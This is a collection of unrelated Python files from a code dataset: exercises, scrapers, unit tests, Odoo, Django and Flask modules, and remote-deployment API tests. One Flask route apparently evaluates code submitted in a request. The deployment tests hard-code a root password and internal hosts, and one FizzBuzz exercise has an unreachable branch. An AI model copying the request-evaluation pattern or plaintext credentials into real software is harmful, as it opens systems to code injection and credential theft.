Column.py","file_name":"947. Most Stones Removed with Same Row or Column.py","file_ext":"py","file_size_in_byte":884,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"266690772","text":"'''\n这个是用来生成关系图代码的代码,然后用生成的关系图代码和库就可以生成关系图\n'''\n\nimport numpy as np\nimport pandas as pd\nimport os\n\nchannels = ['健身', '动物', '动画', '娱乐', '影视', '手工绘画', '搞笑', '数码', '时尚', '服饰', '汽车', '游戏', '生活', '知识', '科学科普', '美妆', '美食', '职场', '舞蹈', '财经', '资讯', '运动', '音乐', '鬼畜']\n\nfor channel in channels:\n # 先提取出所有的up的uid放进up_list\n up_list = []\n with open('./2_待爬up主/{}.csv'.format(channel), 'rb') as csv:\n data = pd.read_csv(csv)\n for uid in data.Uid:\n up_list.append(uid)\n\n # 提取出所有的up的描述放进nodes,并根据已有的up_list提取出有用的关系组放进relation\n relations = {}\n nodes = []\n for npy_file_name in os.listdir('./4_npyFile/{}'.format(channel)):\n npy = np.load('./4_npyFile/{}/{}'.format(channel, npy_file_name), allow_pickle=True).item()\n user_info = npy['user_info']\n up = {\"role_id\": user_info['mid'], \"name\": user_info['name'], \"group\": 0, \"avatar\": user_info['face']}\n nodes.append(up)\n\n followings = npy['followings']\n follow_list = []\n for following in followings:\n if following['mid'] in up_list:\n follow_list.append(following['mid'])\n\n up_uid = user_info['mid']\n relations[up_uid] = follow_list\n\n links = []\n for up in relations:\n followings = relations[up]\n if followings != []:\n for following in followings:\n link = {\"source\": up_list.index(up), \"target\": up_list.index(following), \"relation\": \"关注\", \"color\": \"734646\"}\n links.append(link)\n\n data = {\"nodes\": nodes, \"links\": links}\n print(\"let {} = {};\".format(channel, data))\n\n\n","sub_path":"data/relation_picture.py","file_name":"relation_picture.py","file_ext":"py","file_size_in_byte":1865,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"536791491","text":"\n\n# If divisible by 3 % 3 = 0\n# If divisible by 5 % 5 = 0\n\n\nclass fizz_buzz:\n\n def fizz_buzz_finder(self):\n\n for number in range(1, 101):\n if number % 3 == 0:\n print(\"Fizz\")\n elif number % 5 == 0:\n print(\"Buzz\")\n elif number % 3 == 0 and number % 5 == 0:\n print(\"Fizz-Buzz\")\n else:\n print(number)\n\nfizzbuzz1 = fizz_buzz()\nfizzbuzz1.fizz_buzz_finder()","sub_path":"Week 3 - Python Basics (Data types, Loops, Control Flow, 4 pillars OOP)/Exercises/Fizz_Buzz/fizz_buzz.py","file_name":"fizz_buzz.py","file_ext":"py","file_size_in_byte":464,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"383562647","text":"number = int(input(\"Enter 3 digit number\"))\nsum = 0\ntemp = number\nwhile temp > 0:\n digit = temp % 10\n sum += digit ** 3\n temp //= 10\n\nif number == sum:\n print(\"The number\",number, \"is armstrong\")\nelse :\n print(\"is not armstrong\")\n","sub_path":"n55.py","file_name":"n55.py","file_ext":"py","file_size_in_byte":245,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"304504619","text":"def solution(args):\n \"\"\"A format for expressing an ordered list of integers is to use a comma separated list of either\n\n - individual integers\n - or a range of integers denoted by the starting integer separated from the end integer in the range by a dash, '-'.\n The range includes all integers in the interval including both endpoints. It is not considered a range unless it spans at least 3 numbers. For example (\"12, 13, 15-17\")\n\n Complete the solution so that it takes a list of integers in increasing order and returns a correctly formatted string in the range format.\n\n Args:\n args (list[int])\n\n Returns:\n str\n\n >>> solution([-6,-3,-2,-1,0,1,3,4,5,7,8,9,10,11,14,15,17,18,19,20])\n '-6,-3-1,3-5,7-11,14,15,17-20'\n >>> solution([-3,-2,-1,2,10,15,16,18,19,20])\n '-3--1,2,10,15,16,18-20'\n \"\"\"\n\n def gen():\n start = args[0]\n end = start\n for num in args[1:] + [None]:\n if num != end + 1:\n if end == start:\n yield start\n elif end == start + 1:\n yield start\n yield end\n else:\n yield \"{}-{}\".format(start, end)\n start = num\n end = num\n\n return \",\".join(str(i) for i in gen())\n","sub_path":"python/kyu4/Range Extraction.py","file_name":"Range Extraction.py","file_ext":"py","file_size_in_byte":1310,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"95953253","text":"# !/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n\"\"\"\nDefines unit tests for :mod:`colour.appearance.atd95` module.\n\"\"\"\n\nfrom __future__ import division, unicode_literals\n\nimport numpy as np\n\nfrom colour.appearance import XYZ_to_ATD95\nfrom colour.appearance.atd95 import XYZ_to_LMS_ATD95, final_response\nfrom colour.appearance.tests.common import ColourAppearanceModelTest\n\n__author__ = 'Colour Developers'\n__copyright__ = 'Copyright (C) 2013 - 2015 - Colour Developers'\n__license__ = 'New BSD License - http://opensource.org/licenses/BSD-3-Clause'\n__maintainer__ = 'Colour Developers'\n__email__ = 'colour-science@googlegroups.com'\n__status__ = 'Production'\n\n__all__ = ['TestATD95ColourAppearanceModel']\n\n\nclass TestATD95ColourAppearanceModel(ColourAppearanceModelTest):\n \"\"\"\n Defines :mod:`colour.appearance.atd95` module unit tests methods for\n ATD (1995) colour vision model.\n \"\"\"\n\n FIXTURE_BASENAME = 'atd95.csv'\n\n OUTPUT_ATTRIBUTES = {\n 'H': 'h',\n 'C': 'C',\n 'Br': 'Q',\n 'A_1': 'A_1',\n 'T_1': 'T_1',\n 'D_1': 'D_1',\n 'A_2': 'A_2',\n 'T_2': 'T_2',\n 'D_2': 'D_2'}\n\n def output_specification_from_data(self, data):\n \"\"\"\n Returns the ATD (1995) colour vision model output specification from\n given data.\n\n Parameters\n ----------\n data : list\n Fixture data.\n\n Returns\n -------\n ATD95_Specification\n ATD (1995) colour vision model specification.\n \"\"\"\n\n XYZ = np.array([data['X'], data['Y'], data['Z']])\n XYZ_0 = np.array([data['X_0'], data['Y_0'], data['Z_0']])\n\n specification = XYZ_to_ATD95(XYZ,\n XYZ_0,\n data['Y_02'],\n data['K_1'], data['K_2'],\n data['sigma'])\n return specification\n\n def test_XYZ_to_LMS_ATD95(self):\n \"\"\"\n Tests :func:`colour.appearance.atd95.XYZ_to_LMS_ATD95` definition.\n \"\"\"\n\n L, M, S = XYZ_to_LMS_ATD95(np.array([1, 1, 1]))\n np.testing.assert_almost_equal(L, 0.7946522478109985)\n np.testing.assert_almost_equal(M, 0.9303058494144267)\n np.testing.assert_almost_equal(S, 0.7252006614718631)\n\n def test_final_response(self):\n \"\"\"\n Tests :func:`colour.appearance.atd95.final_response` definition.\n \"\"\"\n\n np.testing.assert_almost_equal(final_response(0), 0)\n np.testing.assert_almost_equal(final_response(100), 1.0 / 3.0)\n np.testing.assert_almost_equal(final_response(200), 0.5)\n np.testing.assert_almost_equal(final_response(10000), 0.980392157)\n","sub_path":"colour/appearance/tests/test_atd95.py","file_name":"test_atd95.py","file_ext":"py","file_size_in_byte":2715,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"636456850","text":"from flask import Flask, request\nimport random\nimport json\nfrom minimax import *\nfrom connect4_utils import *\n\napp = Flask(__name__)\n\n# all of the AI state is stored here!\nsession_dict = {}\n\n@app.route('/')\ndef root():\n return app.send_static_file('index.html')\n\n@app.route('/builder')\ndef shapes():\n return app.send_static_file('shapes.html')\n\n# @app.route('/init_game', methods=['POST'])\n# def init_game():\n# print(\"INIT GAME!\")\n# session = {}\n\n# yellow_code = request.form['yellow_code']\n# red_code = request.form['red_code']\n\n# if yellow_code:\n# try:\n# session['yellow'] = Minimax(Eval(yellow_code))\n# except e:\n# return \"ERROR Yellow AI is invalid!\"\n\n# if red_code:\n# try:\n# session['red'] = Minimax(Eval(red_code))\n# except e:\n# return \"ERROR Red AI is invalid!\"\n\n# # save the session to a global variable\n# global session_dict;\n# while True:\n# key = str(random.random())\n# if key not in session_dict:\n# session_dict[key] = session\n# break\n# return key\n\n@app.route('/get_move', methods=['POST'])\ndef get_move():\n board = request.form['board']\n color = request.form['color']\n code = request.form['code']\n\n try:\n ai = Minimax(Eval(code))\n result = ai.bestMove(\n 2,\n list(reversed(json.loads(board))),\n \"x\" if color == \"yellow\" else \"o\"\n )\n return result\n except Exception as e:\n raise\n # return str(e)\n\nif __name__ == '__main__':\n # app.run(processes=8)\n app.run(debug=True)\n","sub_path":"server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":1641,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"651662218","text":"stack=[]\nx=True\nwhile x==True:\n print(\"Menu:\",\"1.Push\",\"2.Pop\",\"3.View Stack\",\"4.Exit\",end=\"\\n\")\n n=int(input())\n if n==1:\n stack.append(input(\"Enter data:\"))\n elif n==3:\n print(stack)\n elif n==2:\n stack.pop()\n else:\n x=False\n break","sub_path":"Stack.py","file_name":"Stack.py","file_ext":"py","file_size_in_byte":285,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"198888479","text":"# -*- coding: utf-8 -*-\n# See LICENSE file for full copyright and licensing details.\n\nfrom odoo import fields, models\n\nAVAILABLE_STATES = [\n ('draft', 'Draft'),\n ('confirm', 'Confirm'),\n ('done', 'Done')\n]\n\n\nclass ReportHotelRestaurantStatus(models.Model):\n _name = \"report.hotel.restaurant.status\"\n _description = \"Reservation By State\"\n _auto = False\n\n reservation_id = fields.Char('Reservation No', size=64, readonly=True)\n nbr = fields.Integer('Reservatioorder_datan', readonly=True)\n state = fields.Selection(AVAILABLE_STATES, 'State', size=16,\n readonly=True)\n\n def init(self):\n \"\"\"\n This method is for initialization for report hotel restaurant\n status Module.\n @param self: The object pointer\n @param cr: database cursor\n \"\"\"\n\n self.env.cr.execute(\"\"\"\n create or replace view report_hotel_restaurant_status as (\n select\n min(c.id) as id,\n c.reservation_id,\n c.state,\n count(*) as nbr\n from\n hotel_restaurant_reservation c\n group by c.state,c.reservation_id\n )\"\"\")\n","sub_path":"report_hotel_restaurant/models/report_hotel_restaurant.py","file_name":"report_hotel_restaurant.py","file_ext":"py","file_size_in_byte":1241,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"503690027","text":"import random\n\nclass DataSet(object):\n\n def __init__(self, _width=0, _height=0, _numberOfData=0):\n self.width = _width\n self.height = _height\n self.numberOfData = _numberOfData\n self.points_x = []\n self.points_y = []\n\n def generateRandomDataSet(self):\n self.points_x = []\n self.points_y = []\n for x in range(self.numberOfData):\n self.points_x.append(random.uniform(-self.width, self.width))\n self.points_y.append(random.uniform(-self.height/2, self .height/2))\n\n\n\n\n\n\n","sub_path":"current/DataSet.py","file_name":"DataSet.py","file_ext":"py","file_size_in_byte":551,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"368217436","text":"#encoding=utf-8\nfrom datebase import *\nfrom error import *\n\n#-------------------------------------permission--------------------------------------\ndef user_have_product(user, product):\n\tif not product.team_id in [t.team_id for t in user.team()]:\n\t\traise PermissionError(\"user \"+user.user_name+\" don't have permission to operate product \"+product.product_name)\n\treturn True\n\n#--------------------------------------Tag----------------------------------------\ndef tag_exist(tag_name=None):\n\ttag = Tag.select(tag_name=tag_name)\n\tif not tag:\n\t\treturn False\n\treturn tag[0]\n\ndef tag_create(tag_name=None):\n\tif not tag_name:\n\t\traise NoneError(\"tag name can't be none\")\n\tif tag_exist(tag_name=tag_name):\n\t\traise ExistError(\"tag '\"+tag_name+\"' is exist\")\n\treturn Tag.create(tag_name=tag_name)\n\n#--------------------------------------Education--------------------------------------\ndef education_create(education_type=u\"高中\", education_school=None, education_subject=None, education_from=None, education_to=None, user_id=None):\n\tif not (education_school and education_from and education_to and user_id):\n\t\traise NoneError(\"education school and from and to and user id can't be none\")\n\treturn Education.create(education_type=education_type, education_subject=education_subject, education_school=education_school, education_from=education_from, education_to=education_to, user_id=user_id)\n\ndef education_update(education, **kw):\n\tif isinstance(education, int):\n\t\teducation = Education.select(education_id=education)[0]\n\tfor key, value in kw.items():\n\t\tsetattr(education, key, value)\n\teducation.commit()\n\treturn True\n\ndef education_delete(education):\n\tif isinstance(education, int):\n\t\teducation = Education.select(education_id=education)[0]\n\teducation.delete()\n\treturn True\n\n#---------------------------------------Experience--------------------------------------\ndef experience_create(experience_company=None, experience_office=None, experience_from=None, experience_to=None, user_id=None):\n\tif not (experience_company and experience_to and experience_from and experience_office and user_id):\n\t\traise NoneError(\"experience company, to, from, office and user id can't be none\")\n\treturn Experience.create(experience_company=experience_company, experience_office=experience_office, experience_from=experience_from, experience_to=experience_to, user_id=user_id)\n\ndef experience_update(experience, **kw):\n\tif isinstance(experience, int):\n\t\texperience = Experience.select(experience_id=experience)[0]\n\tfor key, value in kw.items():\n\t\tsetattr(experience, key, value)\n\texperience.commit()\n\treturn True\n\ndef experience_delete(experience):\n\tif isinstance(experience, int):\n\t\texperience = Experience.select(experience_id=experience)\n\texperience.delete()\n\treturn True\n\n#---------------------------------------Event-------------------------------------------\ndef event_create(event_type=u\"产品\", event_content=None, event_time=None, event_src=None, product_id=None):\n\tif not (event_content and event_time and product_id):\n\t\traise NoneError(\"event content, time and product id can't be none\")\n\treturn Event.create(event_type=event_type, event_content=event_content, event_time=event_time, event_src=event_src, product_id=product_id)\n\ndef event_update(event, **kw):\n\tif isinstance(event, int):\n\t\tevent = Event.select(event_id=event)[0]\n\tfor key, value in kw.items():\n\t\tsetattr(event, key, value)\n\tevent.commit()\n\treturn True\n\ndef event_delete(event):\n\tif isinstance(event, int):\n\t\tevent = Event.select(event_id=event)\n\tevent.delete()\n\treturn True\n\n#----------------------------------------Info--------------------------------------------------\ndef info_create(info_name=None, info_content=None, product_id=None):\n\tif not (info_name and info_content and product_id):\n\t\traise NoneError(\"info name, content and product id can't be none\")\n\treturn Info.create(info_name=info_name, info_content=info_content, product_id=product_id)\n\ndef info_update(info, **kw):\n\tif isinstance(info, int):\n\t\tinfo = Info.select(info_id=info)[0]\n\tfor key, value in kw.items():\n\t\tsetattr(info, key, value)\n\tinfo.commit()\n\treturn True\n\ndef info_delete(info):\n\tif isinstance(info, int):\n\t\tinfo = Info.select(info_id=info)[0]\n\tinfo.delete()\n\treturn True\n\n#--------------------------------------UserMessage------------------------------------------------\ndef user_message_create(user_message_content=None, user_id=None, to_user_id=None):\n\tif not (user_message_content and user_id and to_user_id):\n\t\traise NoneError(\"user message content and user id and to user id can't be none\")\n\treturn UserMessage.create(user_message_content=user_message_content, user_id=user_id, to_user_id=to_user_id)\n\ndef user_message_delete(user_message):\n\tif isinstance(user_message, int):\n\t\tuser_message = UserMessage.select(user_message_id=user_message)[0]\n\tuser_message.delete()\n\treturn True\n\n#-------------------------------------ProductMessage------------------------------------------------\ndef product_message_create(product_message_content=None, user_id=None, product_id=None):\n\tif not (product_message_content and user_id and product_id):\n\t\traise NoneError(\"product message content and user id and product id can't be none\")\n\treturn ProductMessage.create(product_message_content=product_message_content, user_id=user_id, product_id=product_id)\n\ndef product_message_delete(product_message):\n\tif isinstance(product_message, int):\n\t\tproduct_message = ProductMessage.select(product_message_id=product_message)[0]\n\tproduct_message.delete()\n\treturn True\n\n#------------------------------------User------------------------------------------------------------\ndef user_create(user_name=None,\tuser_sex=u\"男\", user_location=None, user_qq=None, user_tel=None, user_weibo=None, user_weixin=None, user_img=None):\n\treturn User.create(user_name=user_name, user_sex=user_sex, user_location=user_location, user_qq=user_qq, user_tel=user_tel, user_weibo=user_weibo, user_weixin=user_weixin, user_img=user_img)\n\ndef user_update(user, **kw):\n\tif isinstance(user, int):\n\t\tuser = User.select(user_id=user)[0]\n\tfor key, value in kw.items():\n\t\tsetattr(user, key, value)\n\tuser.commit()\n\treturn True\n\ndef user_delete(user):\n\tif isinstance(user, int):\n\t\tuser = User.select(user_id=user)[0]\n\tuser.delete()\n\treturn True\n\n#-------------------------------------Product-------------------------------------------------------------\ndef product_exist(product_name=None):\n\tproduct = Product.select(product_name=product_name)\n\tif not product:\n\t\treturn False\n\treturn product[0]\n\ndef product_create(product_name=None, product_desc=None, product_abstract=None, product_location=None, product_finance=u\"未融资\", product_state=u\"正常运营\", product_date=None, product_logo=None, product_picture=None, team_id=None, product_category=u\"社交\"):\n\tif not (product_name and product_desc and product_abstract and product_location and product_date and product_logo and product_picture and team_id):\n\t\traise NoneError(\"product name, desc, abstract, location, date, logo, picture and team id can't be none\")\n\treturn Product.create(product_name=product_name, product_desc=product_desc, product_abstract=product_abstract, product_location=product_location, product_finance=product_finance, product_state=product_state, product_date=product_date, product_logo=product_logo, product_picture=product_picture, team_id=team_id, product_category=product_category)\n\ndef product_update(product, **kw):\n\tif isinstance(product, int):\n\t\tproduct = Product.select(product_id=product)[0]\n\tfor key, value in kw.items():\n\t\tsetattr(product, key, value)\n\tproduct.commit()\n\treturn True\n\ndef product_delete(product):\n\tif isinstance(product, int):\n\t\tproduct = Product.select(product_id=product)[0]\n\tproduct.delete()\n\treturn True\n\t\n#-------------------------------------Account-------------------------------------------------------------\ndef account_exist(account_name=None):\n\taccount = Account.select(account_name=account_name)\n\tif not account:\n\t\treturn False\n\treturn account[0]\n\ndef account_create(account_name=None, account_password=None, account_type=1):\n\tif not (account_name and account_password):\n\t\traise NoneError(\"account name and account password can't be none\")\n\tif account_exist(account_name=account_name):\n\t\traise ExistError(\"account '\"+account_name+\"' exist\")\n\ttry:\n\t\tuser = user_create()\n\t\taccount = Account.create(account_name=account_name, account_password=account_password, account_type=account_type, user_id=user.user_id)\n\t\tuser.user_name = account.account_name\n\t\tuser.commit()\n\texcept Exception as e:\n\t\tif user:\n\t\t\tif user.account():\n\t\t\t\tuser.account()[0].delete()\n\t\t\tuser_delete(user)\n\t\traise e\n\treturn account\n\ndef account_update(account, account_password=None, account_type=None):\n\tif account_password:\n\t\tsetattr(account, \"account_password\", account_password)\n\tif account_type:\n\t\tsetattr(account, \"account_type\", account_type)\n\taccount.commit()\n\treturn True\n\n#-----------------------------------=UserTag--------------------------------------------------------------\ndef user_tag_exist(user_id=None, tag_id=None):\n\tuser_tag = UserTag.select(user_id=user_id, tag_id=tag_id)\n\tif not user_tag:\n\t\treturn False\n\treturn user_tag[0]\n\ndef user_tag_create(user_id=None, tag_id=None):\n\tif user_tag_exist(user_id=user_id, tag_id=tag_id):\n\t\traise ExistError(\"user already has tag \")\n\treturn UserTag.create(user_id=user_id, tag_id=tag_id)\n\ndef user_tag_delete(user_tag=None):\n\tif isinstance(user_tag, int):\n\t\tuser_tag = UserTag.select(user_tag_id=user_tag)\n\tuser_tag.delete()\n\treturn True\n\n#-----------------------------------ProductTag-----------------------------------------------------------\ndef product_tag_exist(product_id=None, tag_id=None):\n\tproduct_tag = ProductTag.select(product_id=product_id, tag_id=tag_id)\n\tif not product_tag:\n\t\treturn False\n\treturn product_tag[0]\n\ndef product_tag_create(product_id=None, tag_id=None):\n\tif not (product_id and tag_id):\n\t\traise NoneError(\"product id and tag id can't be none\")\n\tif product_tag_exist(product_id=product_id, tag_id=tag_id):\n\t\traise ExistError(\"product already has tag \")\n\treturn ProductTag.create(product_id=product_id, tag_id=tag_id)\n\ndef product_tag_delete(product_tag=None):\n\tif isinstance(product_tag, int):\n\t\tproduct_tag = ProductTag.select(product_tag_id=product_tag)\n\tproduct_tag.delete()\n\treturn True\n\n#---------------------------------------Team-------------------------------------------------------\ndef team_exist(team_name=None):\n\tteam = Team.select(team_name=team_name)\n\tif not team:\n\t\treturn False\n\treturn team[0]\n\ndef team_create(team_name=None, team_desc=None):\n\tif not team_name:\n\t\traise NoneError(\"team name can't be none\")\n\tif team_exist():\n\t\traise ExistError(\"team name '\"+team_name+\"' exist\")\n\treturn Team.create(team_name=team_name, team_desc=team_desc)\n\ndef team_update(team, **kw):\n\tfor key, value in kw.items():\n\t\tsetattr(team, key, value)\n\tteam.commit() \n\treturn True\n\ndef team_delete(team):\n\tif isinstance(team, int):\n\t\tteam = Team.select(team_id=team)\n\tteam.delete()\n\treturn True\n\n#--------------------------------------TeamUser-------------------------------------------\ndef team_user_exist(team_id=None, user_id=None):\n\tteam_user = TeamUser.select(team_id=team_id, user_id=user_id)\n\tif team_user:\n\t\treturn team_user[0]\n\treturn False\n\ndef team_user_create(team_id=None, user_id=None):\n\tif not (team_id and user_id):\n\t\traise NoneError(\"team id and user id can't be none\")\n\tif team_user_exist(team_id=team_id, user_id=user_id):\n\t\traise ExistError(\"team user exist\")\n\treturn TeamUser.create(team_id=team_id, user_id=user_id)\n\ndef team_user_delete(team_user):\n\tif isinstance(team_user, int):\n\t\tteam_user = TeamUser.select(team_user_id=team_user)\n\tteam_user.delete()\n\treturn True\n\n#--------------------------------------TeamImg---------------------------------------------\n\n\n\n#-------------------------------------------------------------------------------------------\n","sub_path":"backbone.py","file_name":"backbone.py","file_ext":"py","file_size_in_byte":11835,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"28440807","text":"\"\"\"stdMgmt URL Configuration\n\nThe `urlpatterns` list routes URLs to views. For more information please see:\n https://docs.djangoproject.com/en/2.1/topics/http/urls/\nExamples:\nFunction views\n 1. Add an import: from my_app import views\n 2. Add a URL to urlpatterns: path('', views.home, name='home')\nClass-based views\n 1. Add an import: from other_app.views import Home\n 2. Add a URL to urlpatterns: path('', Home.as_view(), name='home')\nIncluding another URLconf\n 1. Import the include() function: from django.urls import include, path\n 2. Add a URL to urlpatterns: path('blog/', include('blog.urls'))\n\"\"\"\nfrom django.urls import path\n# from .views import StudentsInfoList\nfrom students import views\n\nurlpatterns = [\n # path('dlist/',StudentsInfoList, name=\"students-info-list\")\n path('list/',views.StudentsInfoListVW, name=\"students-info-list\"),\n path('dtls/',views.StudentsInfoDetailsVW, name=\"students-info-dtls\"),\n path('glist/',views.GuardianInfoListVW, name=\"guardians-info-list\"),\n path('gdtls/',views.GuardianInfoDtlsVW, name=\"guardians-info-dtls\")\n]\n","sub_path":"students/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1127,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"11334091","text":"#Variables to alter game\nwidth = 19\nn = 5\nnumberOfSimulations = 10\nplayingAgainstMCTS = False\n\n\n#Designates a pure implementation of the MCTS without the Value system as a guide\n#Better for small boards, worse for large boards\nrawMCTS = False\n\n#Variance identifies the max range of possible moves the game can explore.\n#If you want it to make less value-centric moves and focus instead on exploring, increase these variables.\n#If you want to make generally tighter, less exploratory moves, decrease these variables.\n\n#Max allowed variance of the First Priority. Should probably not make this variable than 2\nFIRST_VARIANCE = 0\n#Max allowed variance of the Second Priority. \nSECOND_VARIANCE = 0","sub_path":"TestApplication/Globals.py","file_name":"Globals.py","file_ext":"py","file_size_in_byte":695,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"118771960","text":"# Configuration file for the Sphinx documentation builder.\n#\n# This file only contains a selection of the most common options. For a full\n# list see the documentation:\n# https://www.sphinx-doc.org/en/master/usage/configuration.html\n\nimport importlib.metadata\nimport re\nfrom datetime import datetime\n\n# from pathlib import Path\n\nimport sphinx_rtd_theme\n\n\n# -- Project information -----------------------------------------------------\n\n_metadata = importlib.metadata.metadata(\"cpe_cmd\")\n\nproject = _metadata.get(\"Summary\")\nauthor = _metadata.get(\"Author\")\ncopyright = f\"{datetime.now().year}, {author}\"\n\n# The full version, including alpha/beta/rc tags\nrelease = _metadata.get(\"Version\")\n# The short X.Y version\nversion = re.match(r\"v?\\d+(\\.\\d+)*\", release)[0]\n\n\n# -- General configuration ---------------------------------------------------\n\nextensions = [\n \"sphinx.ext.autodoc\",\n \"sphinx.ext.autosectionlabel\",\n \"sphinx.ext.doctest\",\n \"sphinx.ext.coverage\",\n \"sphinx.ext.extlinks\",\n \"sphinx.ext.ifconfig\",\n \"sphinx.ext.napoleon\",\n \"sphinx.ext.viewcode\",\n \"sphinxcontrib.mermaid\",\n \"sphinx_rtd_theme\",\n \"recommonmark\",\n]\n\nsource_suffix = {\n \".rst\": \"restructuredtext\",\n \".md\": \"markdown\",\n}\n\nmaster_doc = \"index\"\n\n# templates_path = [\"_templates\"]\n# exclude_patterns = []\n\nrst_epilog = \"\\n\".join(\n [\n \"\\nBuild: |release|\\n\",\n \".. _Cloud Custodian: https://cloudcustodian.io/\",\n f\".. |project| replace:: {project}\",\n ]\n)\n\n# -- Options for HTML output -------------------------------------------------\n\nhtml_theme = \"sphinx_rtd_theme\"\nhtml_show_sphinx = False\nhtml_static_path = [\"_static\"]\nhtml_css_files = [\n \"css/rtd_width.css\",\n \"css/mermaid_arch_diag.css\",\n]\n\n# -- Extension configuration -------------------------------------------------\n\ntodo_include_todos = True\nextlinks = {\n \"c7n\": (\"https://github.com/cloud-custodian/cloud-custodian/%s\", \"GitHub\"),\n \"c7n_docs\": (\"https://cloudcustodian.io/docs/%s\", \"docs\"),\n}\nautosectionlabel_prefix_document = True\nautodoc_default_options = {\n \"members\": None,\n \"undoc-members\": True,\n \"inherited-members\": True,\n \"autodoc_typehints\": \"description\",\n}\nmermaid_version = \"8.5.0\"\n# mermaid_output_format = \"svg\"\n# mermaid_cmd = f\"{Path(__file__).parent.parent.joinpath('node_modules','.bin', 'mmdc')}\"\n# mermaid_params = ['--backgroundColor', 'transparent']\n# mermaid_verbose = True\n","sub_path":"docs/conf.py","file_name":"conf.py","file_ext":"py","file_size_in_byte":2416,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"96832694","text":"import matplotlib.pyplot as plt\nimport pylab as pl\n\ndef getData(ifPlotData=False):\n # load the fitting data and (optionally) plot out for examination\n # return the X and Y as a tuple\n\n data = pl.loadtxt('curvefittingp2.txt')\n\n X = data[0,:]\n Y = data[1,:]\n\n if ifPlotData:\n plt.plot(X,Y,'o')\n plt.xlabel('x')\n plt.ylabel('y')\n plt.show()\n\n return (X,Y)\n","sub_path":"hw1/prob1/loadFittingDataP2.py","file_name":"loadFittingDataP2.py","file_ext":"py","file_size_in_byte":402,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"325489570","text":"# -*- coding:utf-8 -*-\n\"\"\"\nCopyright (c) 2017--2018 URUNDP All Rights Reserved.\n----------------------------------------------------------\nFile Name :\nDescription : \nAuthor : Toby\nE-Mail : 996298929@qq.com\nChange Activity: 2018-7-3\n----------------------------------------------------------\n\"\"\"\n\nimport unittest\nfrom test_request_data import TestRequestData\n\n\nclass TestAutoDeployCase(unittest.TestCase):\n def setUp(self):\n self.http = TestRequestData('http://10.36.8.83:5089/urundp/cloudapi/v1/autodeploy')\n\n def test_autodeploy_cmd(self):\n args = {'params': {'cmd': 'ls /dev/null', 'target_host': '10.36.1.55'}, 'method': 'autodeploy.cmd'}\n result = self.http.requests_post(args)\n print(result)\n self.assertTrue(result['success'])\n\n def test_autodeploy_copyfile(self):\n args = {\"params\": {\"src_host\": \"10.36.1.55\", \"src_file\": \"/tmp/zabbix_agentd.log\", \"target_host\": \"10.36.1.56\", \"target_path\": \"/tmp\"}, \"method\": \"autodeploy.copyfile\"}\n result = self.http.requests_post(args)\n print(result)\n self.assertTrue(result['success'])\n\n def test_autodeploy_copydir(self):\n args = {\"params\": {\"src_host\": \"10.36.1.55\", \"src_dir\": \"/tmp/abc\", \"target_host\": \"10.36.1.56\", \"target_path\": \"/tmp\", \"unzip\": False}, \"method\": \"autodeploy.copydir\"}\n result = self.http.requests_post(args)\n print(result)\n self.assertTrue(result['success'])\n\n def test_autodeploy_copydir_unzip(self):\n args = {\"params\": {\"src_host\": \"10.36.1.55\", \"src_dir\": \"/tmp/abc\", \"target_host\": \"10.36.1.56\", \"target_path\": \"/tmp\", \"unzip\": True}, \"method\": \"autodeploy.copydir\"}\n result = self.http.requests_post(args)\n print(result)\n self.assertTrue(result['success'])\n\n def test_autodeploy_script(self):\n args = {\"params\": {\"src_host\": \"10.36.1.55\", \"src_script\": \"/tmp/test.sh\", \"target_host\": \"10.36.1.56\"}, \"method\": \"autodeploy.script\"}\n result = self.http.requests_post(args)\n print(result)\n self.assertTrue(result['success'])\n\n def test_autodeploy_pubkey(self):\n args = {\"params\": {\"target_user\": \"root\", \"target_passwd\": \"123456\", \"target_host\": \"10.36.1.56\"}, \"method\": \"autodeploy.pubkey\"}\n result = self.http.requests_post(args)\n print(result)\n self.assertTrue(result['success'])\n\n\nif __name__ == '__main__':\n\n unittest.main(verbosity=2)","sub_path":"tests/test_client_autodeploy.py","file_name":"test_client_autodeploy.py","file_ext":"py","file_size_in_byte":2411,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"314950901","text":"import hashlib\n\nfrom pyramid.httpexceptions import HTTPBadRequest\nfrom pyramid.security import NO_PERMISSION_REQUIRED\nfrom pyramid.response import Response\nfrom pyramid.view import view_config\n\nfrom pyramid_debugtoolbar.compat import json\nfrom pyramid_debugtoolbar.compat import bytes_\nfrom pyramid_debugtoolbar.compat import url_quote\nfrom pyramid_debugtoolbar.console import _ConsoleFrame\nfrom pyramid_debugtoolbar.utils import STATIC_PATH\nfrom pyramid_debugtoolbar.utils import ROOT_ROUTE_NAME\nfrom pyramid_debugtoolbar.utils import format_sql\nfrom pyramid_debugtoolbar.utils import get_setting\n\ndef valid_host(info, request):\n hosts = get_setting(request.registry.settings, 'hosts')\n if request.remote_addr in hosts:\n return True\n return False\n\nclass ExceptionDebugView(object):\n def __init__(self, request):\n self.request = request\n exc_history = request.exc_history\n if exc_history is 